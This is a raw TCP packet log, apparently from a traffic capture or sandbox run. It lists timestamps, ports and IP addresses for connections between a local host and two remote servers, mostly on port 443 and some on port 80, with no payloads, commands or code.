Nov 11, 2024 14:33:03.297822952 CET	49792	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.297863960 CET	49792	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.297873020 CET	443	49792	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.297883987 CET	49792	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.297888041 CET	443	49792	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.298043013 CET	443	49790	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.298165083 CET	443	49790	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.298213005 CET	49790	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.298235893 CET	49790	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.298247099 CET	443	49790	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.298259974 CET	49790	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.298264027 CET	443	49790	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.301233053 CET	49796	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.301250935 CET	443	49796	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.301311016 CET	49796	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.301712990 CET	49796	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.301724911 CET	443	49796	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.302371025 CET	49797	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.302386045 CET	443	49797	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.302470922 CET	49797	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.302602053 CET	49797	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.302613974 CET	443	49797	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.327269077 CET	443	49793	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.328320026 CET	49793	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.328344107 CET	443	49793	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.328879118 CET	49793	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.328890085 CET	443	49793	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.420486927 CET	443	49793	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.420546055 CET	443	49793	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.420588017 CET	49793	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.420981884 CET	49793	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.421003103 CET	443	49793	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.421017885 CET	49793	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.421024084 CET	443	49793	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.424666882 CET	49798	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.424685001 CET	443	49798	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.424738884 CET	49798	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.426486969 CET	49798	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.426500082 CET	443	49798	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.612294912 CET	49799	80	192.168.2.4	185.215.113.43
Nov 11, 2024 14:33:03.617330074 CET	80	49799	185.215.113.43	192.168.2.4
Nov 11, 2024 14:33:03.617486954 CET	49799	80	192.168.2.4	185.215.113.43
Nov 11, 2024 14:33:03.617677927 CET	49799	80	192.168.2.4	185.215.113.43
Nov 11, 2024 14:33:03.622514009 CET	80	49799	185.215.113.43	192.168.2.4
Nov 11, 2024 14:33:03.807842016 CET	443	49795	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.814115047 CET	443	49796	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.815288067 CET	443	49797	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.815682888 CET	443	49794	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.819849014 CET	49795	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.819879055 CET	443	49795	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.820250034 CET	49795	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.820256948 CET	443	49795	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.821692944 CET	49796	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.821716070 CET	443	49796	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.822500944 CET	49796	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.822505951 CET	443	49796	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.822868109 CET	49797	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.822884083 CET	443	49797	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.823797941 CET	49797	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.823808908 CET	443	49797	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.824163914 CET	49794	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.824184895 CET	443	49794	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.824532032 CET	49794	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.824537039 CET	443	49794	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.909306049 CET	443	49795	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.909625053 CET	443	49795	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.909720898 CET	49795	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.909761906 CET	49795	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.909761906 CET	49795	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.909780025 CET	443	49795	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.909796000 CET	443	49795	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.912467003 CET	49800	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.912508965 CET	443	49796	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.912513018 CET	443	49800	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.912621975 CET	49800	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.912743092 CET	443	49796	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.912810087 CET	49800	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.912827015 CET	443	49800	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.912843943 CET	443	49797	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.912847996 CET	49796	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.912904024 CET	443	49797	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.912919044 CET	49796	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.912933111 CET	443	49796	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.912949085 CET	49796	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.912954092 CET	443	49796	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.912966967 CET	49797	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.913085938 CET	49797	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.913099051 CET	443	49797	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.913110971 CET	49797	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.913116932 CET	443	49797	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.913147926 CET	443	49794	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.913315058 CET	443	49794	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.915154934 CET	49801	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.915185928 CET	49794	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.915189028 CET	443	49801	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.915214062 CET	49794	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.915224075 CET	443	49794	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.915241957 CET	49802	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.915246010 CET	49801	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.915251017 CET	443	49802	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.915374041 CET	49801	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.915388107 CET	443	49801	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.915396929 CET	49802	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.915493965 CET	49802	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.915504932 CET	443	49802	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.917134047 CET	49803	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.917144060 CET	443	49803	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.917203903 CET	49803	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.917318106 CET	49803	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.917325020 CET	443	49803	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.940582037 CET	443	49798	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.941268921 CET	49798	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.941279888 CET	443	49798	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:03.941721916 CET	49798	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:03.941725969 CET	443	49798	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.032922983 CET	443	49798	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.033113956 CET	443	49798	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.033241034 CET	49798	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.033266068 CET	49798	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.033277035 CET	443	49798	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.033288956 CET	49798	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.033293962 CET	443	49798	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.035964966 CET	49804	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.036005020 CET	443	49804	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.036075115 CET	49804	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.036211967 CET	49804	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.036223888 CET	443	49804	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.255669117 CET	80	49799	185.215.113.43	192.168.2.4
Nov 11, 2024 14:33:04.255778074 CET	49799	80	192.168.2.4	185.215.113.43
Nov 11, 2024 14:33:04.450119019 CET	443	49800	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.450241089 CET	443	49802	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.450412035 CET	443	49803	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.450644016 CET	49800	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.450661898 CET	443	49800	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.450807095 CET	49802	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.450814009 CET	443	49802	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.451157093 CET	49800	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.451162100 CET	443	49800	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.451325893 CET	49802	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.451328993 CET	443	49802	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.451518059 CET	49803	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.451525927 CET	443	49803	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.451869965 CET	49803	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.451874018 CET	443	49803	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.542603970 CET	443	49802	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.543283939 CET	443	49802	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.543349981 CET	49802	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.543385029 CET	49802	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.543397903 CET	443	49802	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.543406010 CET	49802	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.543411016 CET	443	49802	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.544161081 CET	443	49803	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.544223070 CET	443	49803	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.544276953 CET	49803	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.544414043 CET	49803	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.544430971 CET	443	49803	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.544440985 CET	49803	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.544445992 CET	443	49803	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.545221090 CET	443	49800	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.545501947 CET	443	49800	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.545938969 CET	49805	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.545972109 CET	49800	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.545979023 CET	443	49805	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.546055079 CET	49800	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.546055079 CET	49800	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.546061039 CET	443	49800	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.546067953 CET	443	49800	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.546081066 CET	49805	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.546233892 CET	49805	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.546252012 CET	443	49805	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.546425104 CET	49806	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.546457052 CET	443	49806	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.546515942 CET	49806	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.546658993 CET	49806	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.546674013 CET	443	49806	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.547811031 CET	49807	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.547821045 CET	443	49807	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.547868967 CET	49807	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.548013926 CET	49807	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.548023939 CET	443	49807	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.549788952 CET	443	49804	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.550110102 CET	49804	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.550121069 CET	443	49804	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.550534010 CET	49804	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.550539017 CET	443	49804	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.557599068 CET	443	49801	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.557828903 CET	49801	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.557858944 CET	443	49801	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.558135986 CET	49801	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.558142900 CET	443	49801	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.645010948 CET	443	49804	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.645056009 CET	443	49804	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.645178080 CET	49804	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.645380974 CET	49804	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.645396948 CET	443	49804	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.645411968 CET	49804	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.645416975 CET	443	49804	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.648255110 CET	49808	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.648284912 CET	443	49808	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.648369074 CET	49808	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.648525953 CET	49808	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.648539066 CET	443	49808	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.656832933 CET	443	49801	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.657270908 CET	443	49801	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.657324076 CET	49801	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.657433987 CET	49801	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.657443047 CET	443	49801	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.657466888 CET	49801	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.657473087 CET	443	49801	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.659660101 CET	49809	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.659687996 CET	443	49809	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:04.659766912 CET	49809	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.659893036 CET	49809	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:04.659905910 CET	443	49809	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.060822010 CET	443	49807	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.061820984 CET	443	49806	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.061835051 CET	443	49805	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.061935902 CET	49807	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.061954021 CET	443	49807	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.062105894 CET	49806	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.062140942 CET	443	49806	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.062414885 CET	49807	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.062419891 CET	443	49807	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.062511921 CET	49806	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.062519073 CET	443	49806	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.062696934 CET	49805	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.062706947 CET	443	49805	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.063019037 CET	49805	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.063024044 CET	443	49805	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.153678894 CET	443	49807	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.154082060 CET	443	49807	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.154195070 CET	49807	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.154364109 CET	443	49805	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.154376984 CET	443	49806	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.154407978 CET	49807	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.154422998 CET	443	49807	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.154503107 CET	443	49806	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.154551029 CET	49806	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.154617071 CET	443	49805	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.154625893 CET	49806	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.154645920 CET	443	49806	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.154656887 CET	49805	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.154659033 CET	49806	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.154664993 CET	443	49806	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.155004978 CET	49805	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.155009985 CET	443	49805	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.155138016 CET	49805	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.155143976 CET	443	49805	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.157629013 CET	49810	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.157670975 CET	443	49810	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.157735109 CET	49810	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.157816887 CET	49811	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.157855034 CET	443	49811	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.157906055 CET	49811	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.158385992 CET	49812	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.158411026 CET	443	49812	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.158529043 CET	49810	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.158541918 CET	443	49810	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.158559084 CET	49812	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.158696890 CET	49811	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.158710957 CET	443	49811	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.158757925 CET	49812	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.158767939 CET	443	49812	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.193252087 CET	443	49808	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.193936110 CET	49808	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.193953991 CET	443	49808	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.194411993 CET	49808	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.194417000 CET	443	49808	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.209048033 CET	443	49809	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.209829092 CET	49809	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.209844112 CET	443	49809	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.210232019 CET	49809	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.210237026 CET	443	49809	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.286873102 CET	443	49808	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.287189960 CET	443	49808	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.287259102 CET	49808	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.287293911 CET	49808	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.287307978 CET	443	49808	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.287322044 CET	49808	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.287328005 CET	443	49808	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.290035963 CET	49813	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.290070057 CET	443	49813	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.290143013 CET	49813	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.290270090 CET	49813	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.290287018 CET	443	49813	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.301520109 CET	443	49809	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.301919937 CET	443	49809	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.301974058 CET	49809	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.302032948 CET	49809	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.302043915 CET	443	49809	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.302056074 CET	49809	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.302059889 CET	443	49809	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.304896116 CET	49814	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.304950953 CET	443	49814	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.305280924 CET	49814	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.305464983 CET	49814	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.305483103 CET	443	49814	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.671538115 CET	443	49811	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.672209024 CET	49811	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.672226906 CET	443	49811	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.672691107 CET	49811	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.672697067 CET	443	49811	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.680066109 CET	443	49812	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.680366039 CET	49812	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.680402994 CET	443	49812	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.680697918 CET	49812	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.680705070 CET	443	49812	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.700261116 CET	443	49810	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.700726032 CET	49810	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.700752974 CET	443	49810	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.701036930 CET	49810	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.701044083 CET	443	49810	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.764833927 CET	443	49811	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.764935017 CET	443	49811	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.764996052 CET	49811	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.765136003 CET	49811	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.765146971 CET	443	49811	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.765156031 CET	49811	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.765161037 CET	443	49811	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.767363071 CET	49799	80	192.168.2.4	185.215.113.43
Nov 11, 2024 14:33:05.767672062 CET	49815	80	192.168.2.4	185.215.113.43
Nov 11, 2024 14:33:05.767944098 CET	49816	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.767987967 CET	443	49816	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.768066883 CET	49816	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.768208981 CET	49816	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.768224955 CET	443	49816	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.772490978 CET	80	49815	185.215.113.43	192.168.2.4
Nov 11, 2024 14:33:05.772551060 CET	49815	80	192.168.2.4	185.215.113.43
Nov 11, 2024 14:33:05.772663116 CET	49815	80	192.168.2.4	185.215.113.43
Nov 11, 2024 14:33:05.772696972 CET	80	49799	185.215.113.43	192.168.2.4
Nov 11, 2024 14:33:05.772746086 CET	49799	80	192.168.2.4	185.215.113.43
Nov 11, 2024 14:33:05.774730921 CET	443	49812	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.774868011 CET	443	49812	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.774914026 CET	49812	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.774956942 CET	49812	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.774972916 CET	443	49812	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.774983883 CET	49812	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.774990082 CET	443	49812	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.776851892 CET	49817	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.776885033 CET	443	49817	13.107.246.45	192.168.2.4
